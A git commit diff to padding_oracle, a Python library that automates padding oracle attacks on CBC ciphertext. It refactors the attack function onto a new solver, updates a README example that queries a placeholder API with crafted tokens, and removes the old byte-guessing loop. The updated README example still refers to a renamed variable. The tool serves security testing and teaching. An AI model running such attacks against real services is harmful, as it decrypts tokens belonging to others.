fix: all

Author: djosix

.gitignore

@@ -4,3 +4,4 @@ build/
 .DS_Store
 *.pyc
 *.egg-info
+.pytest_cache

Makefile

@@ -1,4 +1,4 @@
-.PHONY: build upload
+.PHONY: build upload test
 
 build:
 	python3 -m pip install --upgrade build
@@ -7,3 +7,7 @@ build:
 upload:
 	python3 -m pip install --upgrade twine
 	python3 -m twine upload --repository pypi dist/*
+
+test:
+	python3 -m pip install --quiet pytest cryptography
+	python3 -m pytest tests

README.md

@@ -33,13 +33,13 @@ Let's say we are going to test `https://the.target.site/api/?token=BASE64_ENCODE
 
 ```python
 from padding_oracle import padding_oracle, base64_encode, base64_decode
-import requests, string
+import requests
 
-sess = requests.Session() # for connection pool
-url = 'https://the.target.site/api/'
+sess = requests.Session() # use connection pool
+url = 'https://example.com/api/'
 
-def check_decrypt(cipher: bytes):
-    resp = sess.get(url, params={'token': base64_encode(cipher)})
+def oracle(ciphertext: bytes):
+    resp = sess.get(url, params={'token': base64_encode(ciphertext)})
 
     if 'failed' in resp.text:
         return False
@@ -48,16 +48,16 @@ def check_decrypt(cipher: bytes):
     else:
         raise RuntimeError('unexpected behavior')
 
-cipher = base64_decode('BASE64_ENCODED_TOKEN')
+ciphertext = base64_decode('BASE64_ENCODED_TOKEN')
 # becomes IV + block1 + block2 + ...
+
 assert len(cipher) % 16 == 0
 
 plaintext = padding_oracle(
-    cipher, # cipher bytes
+    ciphertext, # cipher bytes
     block_size = 16,
-    oracle = check_decrypt,
+    oracle = oracle,
     num_threads = 16,
-    chars = string.printable # possible plaintext chars
 )
 ```
 

pyproject.toml

@@ -4,13 +4,13 @@ build-backend = "hatchling.build"
 
 [project]
 name = "padding_oracle"
-version = "0.2.3"
+version = "0.3.0"
 authors = [
   { name="Yuankui Li", email="[email protected]" },
 ]
 description = "Threaded padding oracle automation."
 readme = "README.md"
-requires-python = ">=3.5"
+requires-python = ">=3.6"
 classifiers = [
     'Programming Language :: Python :: 3',
     'License :: OSI Approved :: MIT License',

src/padding_oracle/__init__.py

@@ -20,7 +20,10 @@
 SOFTWARE.
 '''
 
+from .solve import solve, convert_to_bytes, remove_padding
+from .encoding import (
+    urlencode, urldecode,
+    base64_encode, base64_decode,
+    to_bytes, to_str,
+)
 from .legacy import padding_oracle
-from .encoding import urlencode, urldecode, base64_encode, base64_decode, to_bytes, to_str
-from .solver import Solver, solve, plaintext_list_to_bytes, remove_padding
-from .logger import get_logger

src/padding_oracle/encoding.py

@@ -22,7 +22,7 @@
 
 import base64
 import urllib.parse
-from typing import Union
+from typing import List, Union
 
 __all__ = [
     'base64_encode', 'base64_decode',
@@ -31,14 +31,18 @@
 ]
 
 
-def to_bytes(data: Union[str, bytes]):
+def to_bytes(data: Union[str, bytes, List[int]]) -> bytes:
     if isinstance(data, str):
         data = data.encode()
+    elif isinstance(data, list):
+        data = bytes(data)
     assert isinstance(data, bytes)
     return data
 
 
-def to_str(data):
+def to_str(data: Union[str, bytes, List[int]]) -> str:
+    if isinstance(data, list):
+        data = bytes(data)
     if isinstance(data, bytes):
         data = data.decode()
     elif isinstance(data, str):
@@ -48,21 +52,21 @@ def to_str(data):
     return data
 
 
-def base64_decode(data: Union[str, bytes]) -> bytes:
+def base64_decode(data: Union[str, bytes, List[int]]) -> bytes:
     data = to_bytes(data)
     return base64.b64decode(data)
 
 
-def base64_encode(data: Union[str, bytes]) -> str:
+def base64_encode(data: Union[str, bytes, List[int]]) -> str:
     data = to_bytes(data)
     return base64.b64encode(data).decode()
 
 
-def urlencode(data: Union[str, bytes]) -> str:
+def urlencode(data: Union[str, bytes, List[int]]) -> str:
     data = to_bytes(data)
     return urllib.parse.quote(data)
 
 
-def urldecode(data: str) -> bytes:
+def urldecode(data: Union[str, bytes, List[int]]) -> bytes:
     data = to_str(data)
     return urllib.parse.unquote_plus(data)

src/padding_oracle/legacy.py

@@ -22,164 +22,88 @@
 
 import logging
 import traceback
-from typing import Union, Callable
-from concurrent.futures import ThreadPoolExecutor
+from typing import Optional, Union
 
 from .encoding import to_bytes
+from .solve import Fail, OracleFunc, ResultType, solve, remove_padding, convert_to_bytes
 
 __all__ = [
     'padding_oracle',
-    'remove_padding'
 ]
 
-
-def remove_padding(data: Union[str, bytes]):
-    '''
-    Remove PKCS#7 padding bytes.
-
-    Args:
-        data (str | bytes)
-
-    Returns:
-        data with padding removed (bytes)
-    '''
-    data = to_bytes(data)
-    return data[:-data[-1]]
-
-
-def _get_logger():
-    logger = logging.getLogger('padding_oracle')
-    formatter = logging.Formatter('[%(asctime)s][%(levelname)s] %(message)s')
-    handler = logging.StreamHandler()
-    handler.setFormatter(formatter)
-    logger.addHandler(handler)
-    return logger
-
-
-def padding_oracle(cipher: bytes,
+def padding_oracle(ciphertext: Union[bytes, str],
                    block_size: int,
-                   oracle: Callable[[bytes], bool],
+                   oracle: OracleFunc,
                    num_threads: int = 1,
                    log_level: int = logging.INFO,
-                   chars=None,
-                   null: bytes = b' ') -> bytes:
+                   null_byte: bytes = b' ',
+                   return_raw: bool = False,
+                   ) -> bytes:
     '''
-    Run padding oracle attack to decrypt cipher given a function to check wether the cipher
-    can be decrypted successfully.
+    Run padding oracle attack to decrypt ciphertext given a function to check wether the
+    ciphertext can be decrypted successfully.
 
     Args:
-        cipher      (bytes|str) the cipher you want to decrypt
-        block_size  (int)       block size (the cipher length should be multiple of this)
-        oracle      (function)  a function: oracle(cipher: bytes) -> bool
-        num_threads (int)       how many oracle functions will be run in parallel (default: 1)
-        log_level   (int)       log level (default: logging.INFO)
-        chars       (bytes|str) possible characters in your plaintext, None for all
-        null        (bytes|str) the default byte when plaintext are not set (default: b' ')
+        cipher         (bytes|str) the cipher you want to decrypt
+        block_size     (int)       block size (the cipher length should be multiple of this)
+        oracle         (function)  a function: oracle(cipher: bytes) -> bool
+        num_threads    (int)       how many oracle functions will be run in parallel (default: 1)
+        log_level      (int)       log level (default: logging.INFO)
+        null_byte      (bytes|str) the default byte when plaintext are not set (default: None)
+        return_raw     (bool)      do not convert plaintext into bytes and unpad (default: False)
 
     Returns:
-        plaintext   (bytes)     the decrypted plaintext
+        plaintext (bytes|List[int]) the decrypted plaintext
     '''
 
     # Check args
     assert callable(oracle), 'the oracle function should be callable'
-    assert oracle.__code__.co_argcount == 1, 'expect oracle function with only 1 argument'
-    assert isinstance(cipher, (bytes, str)), 'cipher should have type bytes'
+    assert isinstance(ciphertext, (bytes, str)), 'cipher should have type bytes'
     assert isinstance(block_size, int), 'block_size should have type int'
-    assert len(cipher) % block_size == 0, 'cipher length should be multiple of block size'
+    assert len(ciphertext) % block_size == 0, 'cipher length should be multiple of block size'
     assert 1 <= num_threads <= 1000, 'num_threads should be in [1, 1000]'
-    assert isinstance(null, (bytes, str)), 'expect null with type bytes or str'
-    assert len(null) == 1, 'null byte should have length of 1'
-    assert isinstance(chars, (bytes, str)) or chars is None, 'chars should be None or type bytes'
+    assert isinstance(null_byte, (bytes, str)), 'expect null with type bytes or str'
+    assert len(null_byte) == 1, 'null byte should have length of 1'
 
-    logger = _get_logger()
+    logger = get_logger()
     logger.setLevel(log_level)
 
-    cipher = to_bytes(cipher)
-    null = to_bytes(null)
+    ciphertext = to_bytes(ciphertext)
+    null_byte = to_bytes(null_byte)
 
-    if chars is None:
-        chars = set(range(256))
-    else:
-        chars = set(to_bytes(chars))
-        chars |= set(range(1, block_size + 1)) # include PCKS#7 padding bytes
-
-    # Wrapper to handle exception from the oracle function
-    def _oracle_wrapper(i: int, j: int, cipher: bytes):
+    # Wrapper to handle exceptions from the oracle function
+    def wrapped_oracle(ciphertext: bytes):
         try:
-            return oracle(cipher)
+            return oracle(ciphertext)
         except Exception as e:
-            logger.error('unhandled error at block[{}][{}]: {}'.format(i, j, e))
-            logger.debug('error details at block[{}][{}]: {}'.format(i, j, traceback.format_exc()))
+            logger.error('error calling oracle with {!r}'.format(ciphertext))
+            logger.debug('error details: {}'.format(traceback.format_exc()))
         return False
 
-    # The plaintext bytes list to store the decrypted data
-    plaintext = [null] * (len(cipher) - block_size)
-
-    # Update the decrypted plaintext list
-    def _update_plaintext(i: int, c: bytes):
-        plaintext[i] = c
-        logger.info('plaintext: {}'.format(b''.join(plaintext)))
-
-    oracle_executor = ThreadPoolExecutor(max_workers=num_threads)
+    def result_callback(result: ResultType):
+        if isinstance(result, Fail):
+            if result.is_critical:
+                logger.critical(result.message)
+            else:
+                logger.error(result.message)
 
-    # Block decrypting task to be run in parallel
-    def _block_decrypt_task(i, prev: bytes, block: bytes):
-        logger.debug('task={} prev={} block={}'.format(i, prev, block))
-        guess_list = list(prev)
+    def plaintext_callback(plaintext: bytes):
+        plaintext = convert_to_bytes(plaintext, null_byte)
+        logger.info(f'plaintext: {plaintext}')
 
-        for j in range(1, block_size + 1):
-            oracle_hits = []
-            oracle_futures = {}
-
-            for c in chars:
-                k = c ^ j ^ prev[-j]
-                
-                if i == len(blocks) - 1 and j == 1 and k == prev[-j]:
-                    # skip the last padding byte if it is identical to the original cipher
-                    continue
-
-                test_list = guess_list.copy()
-                test_list[-j] = k
-                oracle_futures[k] = oracle_executor.submit(
-                    _oracle_wrapper, i, j, bytes(test_list) + block)
-
-            for k, future in oracle_futures.items():
-                if future.result():
-                    oracle_hits.append(k)
-
-            logger.debug(
-                'oracles at block[{}][{}] -> {}'.format(i, block_size - j, oracle_hits))
-
-            # Number of oracle hits should be 1, or we just ignore this block
-            if len(oracle_hits) != 1:
-                logfmt = 'at block[{}][{}]: expect only one hit, got {}. (skipped)'
-                logger.error(logfmt.format(i, block_size-j, len(oracle_hits)))
-                return
-
-            guess_list[-j] = oracle_hits[0]
-
-            p = guess_list[-j] ^ j ^ prev[-j]
-            _update_plaintext(i * block_size - j, bytes([p]))
-
-            for n in range(j):
-                guess_list[-n-1] ^= j ^ (j + 1)
-
-    blocks = []
-
-    for i in range(0, len(cipher), block_size):
-        blocks.append(cipher[i:i + block_size])
-
-    logger.debug('blocks: {}'.format(blocks))
-
-    with ThreadPoolExecutor() as executor:
-        futures = []
-        for i in reversed(range(1, len(blocks))):
-            prev = b''.join(blocks[:i])
-            block = b''.join(blocks[i:i+1])
-            futures.append(executor.submit(_block_decrypt_task, i, prev, block))
-        for future in futures:
-            future.result()
-
-    oracle_executor.shutdown()
+    plaintext = solve(ciphertext, block_size, wrapped_oracle, num_threads,
+                      result_callback, plaintext_callback)
+    
+    if not return_raw:
+        plaintext = convert_to_bytes(plaintext, null_byte)
+        plaintext = remove_padding(plaintext)
+        
+    return plaintext
 
-    return b''.join(plaintext)
+def get_logger():
+    logger = logging.getLogger('padding_oracle')
+    formatter = logging.Formatter('[%(asctime)s][%(levelname)s] %(message)s')
+    handler = logging.StreamHandler()
+    handler.setFormatter(formatter)
+    logger.addHandler(handler)
+    return logger